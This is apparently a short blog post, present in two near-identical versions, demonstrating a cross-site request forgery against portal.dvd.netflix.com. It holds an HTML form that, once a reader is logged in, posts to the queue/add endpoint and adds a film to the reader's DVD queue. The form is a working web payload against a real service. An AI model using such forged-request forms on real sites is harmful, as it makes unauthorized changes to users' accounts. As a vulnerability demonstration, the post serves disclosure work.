---
layout: post
title: CSRF request to portal.dvd.netflix.com
date: 2017-11-09
categories: [technology]
tags: [csrf, security]
status: publish
type: post
published: true
---

<ul>
    <li>Okay, to make this work, <a href="https://dvd.netflix.com/Login">login</a> to dvd.netflix.com.</li>
    <li><a href="https://dvd.netflix.com/Queue" target="_blank">go to your queue page</a> to make sure boss baby is NOT there.</li>
    <li>Now, let's make a request to portal.dvd.netflix.com to add a movie Boss Baby (80146758) to your queue.
    <form method="post" action="https://portal.dvd.netflix.com/queue/add?titleIds=80146758">
        <button type="submit">Submit CSRF request</button>
    </form>
    .</li>
    <li><a href="https://dvd.netflix.com/Queue" target="_blank">go to your queue page</a> to make sure boss baby IS there at the bottom.</li>
</ul>

---
layout: post
title: CSRF request to portal.dvd.netflix.com
date: 2017-11-09
categories: [technology]
tags: [csrf, security]
status: publish
type: post
published: true
---

<ul>
    <li>Okay, to make this work, <a href="https://dvd.netflix.com/Login">login</a> to dvd.netflix.com.</li>
    <li><a href="https://dvd.netflix.com/Queue" target="_blank">go to your queue page</a> to make sure boss baby is NOT there.</li>
    <li>Now, let's make a request to portal.dvd.netflix.com to add a movie Boss Baby (80146758) to your queue.
    <form method="post" action="https://portal.dvd.netflix.com/queue/add">
        <input type="hidden" name="titleIds" value="80146758"/>
        <button type="submit">Submit CSRF request</button>
    </form>
    .</li>
    <li><a href="https://dvd.netflix.com/Queue" target="_blank">go to your queue page</a> to make sure boss baby IS there at the bottom.</li>
</ul>

Use form parameters not request parameters
Use form parameters not request parameters
